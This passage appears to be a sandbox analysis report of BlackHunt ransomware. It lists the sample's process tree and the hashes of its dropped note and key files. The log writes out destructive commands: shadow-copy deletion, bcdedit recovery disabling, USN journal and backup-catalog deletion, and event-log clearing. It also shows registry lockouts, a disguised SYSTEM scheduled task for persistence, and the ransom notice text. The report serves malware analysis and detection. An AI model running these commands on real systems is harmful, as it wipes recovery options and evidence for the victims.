                                          • C:\Windows\system32\reg.exe
                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                            3⤵
                                              PID:1084
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                            2⤵
                                              PID:4864
                                              • C:\Windows\system32\reg.exe
                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                3⤵
                                                  PID:2944
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                2⤵
                                                  PID:2120
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                    3⤵
                                                      PID:3176
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                    2⤵
                                                      PID:4440
                                                      • C:\Windows\system32\reg.exe
                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                        3⤵
                                                          PID:2268
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                        2⤵
                                                          PID:2668
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                            3⤵
                                                              PID:3128
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                            2⤵
                                                              PID:4560
                                                              • C:\Windows\system32\reg.exe
                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                                3⤵
                                                                  PID:3504
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                2⤵
                                                                  PID:1216
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                    3⤵
                                                                    • Modifies registry class
                                                                    PID:4596
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                  2⤵
                                                                    PID:4464
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                      3⤵
                                                                        PID:2368
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                      2⤵
                                                                        PID:3652
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                          3⤵
                                                                            PID:4844
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                          2⤵
                                                                            PID:4600
                                                                            • C:\Windows\system32\reg.exe
                                                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                              3⤵
                                                                                PID:1008
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                              2⤵
                                                                                PID:404
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                                  3⤵
                                                                                    PID:4236
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                  2⤵
                                                                                    PID:3660
                                                                                    • C:\Windows\system32\reg.exe
                                                                                      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                      3⤵
                                                                                        PID:4368
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                      2⤵
                                                                                        PID:228
                                                                                        • C:\Windows\system32\reg.exe
                                                                                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                          3⤵
                                                                                            PID:4360
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\175c726da26189d327d285d85549ceb8be5ef0283b7a4fa9305c888da8a8b12e.exe" /F
                                                                                          2⤵
                                                                                            PID:3092
                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                              SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\175c726da26189d327d285d85549ceb8be5ef0283b7a4fa9305c888da8a8b12e.exe" /F
                                                                                              3⤵
                                                                                              • Creates scheduled task(s)
                                                                                              PID:3268
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                            2⤵
                                                                                              PID:4812
                                                                                              • C:\Windows\system32\vssadmin.exe
                                                                                                vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                                3⤵
                                                                                                • Enumerates connected drives
                                                                                                • Interacts with shadow copies
                                                                                                PID:5068
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                              2⤵
                                                                                                PID:1200
                                                                                                • C:\Windows\system32\vssadmin.exe
                                                                                                  vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                                  3⤵
                                                                                                  • Enumerates connected drives
                                                                                                  • Interacts with shadow copies
                                                                                                  PID:4920
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                2⤵
                                                                                                  PID:4904
                                                                                                  • C:\Windows\system32\vssadmin.exe
                                                                                                    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                    3⤵
                                                                                                    • Interacts with shadow copies
                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                    PID:3820
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                  2⤵
                                                                                                    PID:3720
                                                                                                    • C:\Windows\system32\vssadmin.exe
                                                                                                      vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                      3⤵
                                                                                                      • Interacts with shadow copies
                                                                                                      PID:4376
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                    2⤵
                                                                                                      PID:680
                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                        3⤵
                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                        PID:2100
                                                                                                      • C:\Windows\system32\vssadmin.exe
                                                                                                        vssadmin.exe Delete Shadows /all /quiet
                                                                                                        3⤵
                                                                                                        • Interacts with shadow copies
                                                                                                        PID:3536
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                      2⤵
                                                                                                        PID:2308
                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                          3⤵
                                                                                                            PID:4408
                                                                                                          • C:\Windows\system32\bcdedit.exe
                                                                                                            bcdedit /set {default} recoveryenabled No
                                                                                                            3⤵
                                                                                                            • Modifies boot configuration data using bcdedit
                                                                                                            PID:6872
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                          2⤵
                                                                                                            PID:948
                                                                                                            • C:\Windows\system32\bcdedit.exe
                                                                                                              bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                              3⤵
                                                                                                              • Modifies boot configuration data using bcdedit
                                                                                                              PID:6420
                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                            2⤵
                                                                                                              PID:2288
                                                                                                              • C:\Windows\system32\fsutil.exe
                                                                                                                fsutil.exe usn deletejournal /D C:
                                                                                                                3⤵
                                                                                                                • Deletes NTFS Change Journal
                                                                                                                PID:6556
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                              2⤵
                                                                                                                PID:452
                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                  3⤵
                                                                                                                    PID:3128
                                                                                                                  • C:\Windows\system32\wbadmin.exe
                                                                                                                    wbadmin.exe delete catalog -quiet
                                                                                                                    3⤵
                                                                                                                    • Deletes backup catalog
                                                                                                                    PID:3136
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                  2⤵
                                                                                                                    PID:3656
                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                      3⤵
                                                                                                                        PID:2120
                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                        schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                        3⤵
                                                                                                                          PID:7348
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
                                                                                                                        2⤵
                                                                                                                          PID:6984
                                                                                                                          • C:\Windows\system32\fsutil.exe
                                                                                                                            fsutil usn deletejournal /D F:\
                                                                                                                            3⤵
                                                                                                                            • Enumerates connected drives
                                                                                                                            PID:14940
                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
                                                                                                                          2⤵
                                                                                                                            PID:18116
                                                                                                                            • C:\Windows\system32\fsutil.exe
                                                                                                                              fsutil usn deletejournal /D C:\
                                                                                                                              3⤵
                                                                                                                                PID:17988
                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
                                                                                                                              2⤵
                                                                                                                                PID:18224
                                                                                                                                • C:\Windows\system32\fsutil.exe
                                                                                                                                  fsutil usn deletejournal /D M:\
                                                                                                                                  3⤵
                                                                                                                                  • Enumerates connected drives
                                                                                                                                  PID:18428
                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
                                                                                                                                2⤵
                                                                                                                                  PID:18412
                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                    wevtutil.exe cl Setup
                                                                                                                                    3⤵
                                                                                                                                    • Clears Windows event logs
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    PID:8196
                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
                                                                                                                                  2⤵
                                                                                                                                    PID:7904
                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                      wevtutil.exe cl System
                                                                                                                                      3⤵
                                                                                                                                      • Clears Windows event logs
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:8280
                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
                                                                                                                                    2⤵
                                                                                                                                      PID:5260
                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                        wevtutil.exe cl Application
                                                                                                                                        3⤵
                                                                                                                                        • Clears Windows event logs
                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                        PID:6468
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
                                                                                                                                      2⤵
                                                                                                                                        PID:6988
                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                          wevtutil.exe cl Security
                                                                                                                                          3⤵
                                                                                                                                          • Clears Windows event logs
                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                          PID:8472
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
                                                                                                                                        2⤵
                                                                                                                                          PID:8224
                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                            wevtutil.exe cl Security /e:false
                                                                                                                                            3⤵
                                                                                                                                            • Clears Windows event logs
                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                            PID:19588
                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                          2⤵
                                                                                                                                            PID:8560
                                                                                                                                            • C:\Windows\system32\vssadmin.exe
                                                                                                                                              vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                              3⤵
                                                                                                                                              • Interacts with shadow copies
                                                                                                                                              PID:12516
                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                                                            2⤵
                                                                                                                                              PID:12820
                                                                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                                                                bcdedit /set {default} recoveryenabled No
                                                                                                                                                3⤵
                                                                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                                                                PID:13600
                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                              2⤵
                                                                                                                                                PID:4844
                                                                                                                                                • C:\Windows\system32\bcdedit.exe
                                                                                                                                                  bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                                  3⤵
                                                                                                                                                  • Modifies boot configuration data using bcdedit
                                                                                                                                                  PID:18460
                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                                                                2⤵
                                                                                                                                                  PID:8408
                                                                                                                                                  • C:\Windows\system32\fsutil.exe
                                                                                                                                                    fsutil.exe usn deletejournal /D C:
                                                                                                                                                    3⤵
                                                                                                                                                    • Deletes NTFS Change Journal
                                                                                                                                                    PID:18496
                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                                                                  2⤵
                                                                                                                                                    PID:19240
                                                                                                                                                    • C:\Windows\system32\wbadmin.exe
                                                                                                                                                      wbadmin.exe delete catalog -quiet
                                                                                                                                                      3⤵
                                                                                                                                                      • Deletes backup catalog
                                                                                                                                                      PID:18872
                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                                    2⤵
                                                                                                                                                      PID:8624
                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                        schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                                        3⤵
                                                                                                                                                          PID:9364
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                        2⤵
                                                                                                                                                          PID:18708
                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                            REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                            3⤵
                                                                                                                                                              PID:19276
                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                            2⤵
                                                                                                                                                              PID:18608
                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:19356
                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:18620
                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:19396
                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:18980
                                                                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                                                                        taskkill /IM mshta.exe /f
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                        PID:18824
                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:12984
                                                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                                                          SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:19352
                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:13816
                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                              REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:19336
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\175c726da26189d327d285d85549ceb8be5ef0283b7a4fa9305c888da8a8b12e.exe"
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:19112
                                                                                                                                                                                • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                  ping 127.0.0.1 -n 5
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Runs ping.exe
                                                                                                                                                                                  PID:19316
                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
                                                                                                                                                                                2⤵
                                                                                                                                                                                • Checks computer location settings
                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                PID:19008
                                                                                                                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                  "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:6740
                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 6740 -s 1448
                                                                                                                                                                                      4⤵
                                                                                                                                                                                      • Program crash
                                                                                                                                                                                      PID:14968
                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:19000
                                                                                                                                                                                    • C:\Windows\system32\notepad.exe
                                                                                                                                                                                      notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:20008
                                                                                                                                                                                  • C:\Windows\system32\vssvc.exe
                                                                                                                                                                                    C:\Windows\system32\vssvc.exe
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                    PID:3644
                                                                                                                                                                                  • C:\Windows\system32\wbengine.exe
                                                                                                                                                                                    "C:\Windows\system32\wbengine.exe"
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                    PID:18624
                                                                                                                                                                                  • C:\Windows\System32\vdsldr.exe
                                                                                                                                                                                    C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:7520
                                                                                                                                                                                    • C:\Windows\System32\vds.exe
                                                                                                                                                                                      C:\Windows\System32\vds.exe
                                                                                                                                                                                      1⤵
                                                                                                                                                                                      • Checks SCSI registry key(s)
                                                                                                                                                                                      PID:11296
                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 6740 -ip 6740
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:16900

                                                                                                                                                                                      Network

                                                                                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                                                                                      Replay Monitor

                                                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                                                      Downloads

                                                                                                                                                                                      • C:\#BlackHunt_Private.key

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        1KB

                                                                                                                                                                                        MD5

                                                                                                                                                                                        28d28b33d423972d939c12e18c3bc3f6

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        a3fc14b6eaa5b627fa5157fd3ca7fc55bd0088af

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        f65abac2598d4df2dae9f79536a3bda1c1ac002b74ce8c5de346c1a54be764fe

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        cc2739ce88a3ad748bee2f1db8826e304c342550fab62fbf282a70f235e1604f8ea3137dd489dc788acf4c2a243b549756d6178f90333ef79a5eb24b4c6c75c2

                                                                                                                                                                                      • C:\ProgramData\#BlackHunt_ReadMe.hta

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        12KB

                                                                                                                                                                                        MD5

                                                                                                                                                                                        c81cb258723f8461ac24bbd746eb93d4

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        38fca697367b1a416c4ff48b4c12be5480169171

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        f9252b2dff93bb960678b8e1de9d8b09792ef025a61834307ae050ad77b3ec22

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        e7b3c7cd1c351d90b30fe2c60b19b4dc36e992cc9c42af5306c22f188a14308c55aebdaeb8eeb9f0c549c6923b056d9047fb62827acbd5f81152e458d6d91040

                                                                                                                                                                                      • C:\ProgramData\#BlackHunt_ReadMe.txt

                                                                                                                                                                                        Filesize

                                                                                                                                                                                        684B

                                                                                                                                                                                        MD5

                                                                                                                                                                                        8741c5ea24d22c722d2e6d38b52367ef

                                                                                                                                                                                        SHA1

                                                                                                                                                                                        d7af3951aab4837008853f50537fb9fbc2a738bb

                                                                                                                                                                                        SHA256

                                                                                                                                                                                        849b674fbbe13aed517dbfed355eec76922c0ade211f16eb88228a3687a28e41

                                                                                                                                                                                        SHA512

                                                                                                                                                                                        502e8264cc1389465e0121e814310517f0859679b584020e8d58a8b9999d549ed3051049c24633105dcb8bc20044f6b3627587c4a8a53d885f6d743cb090e12f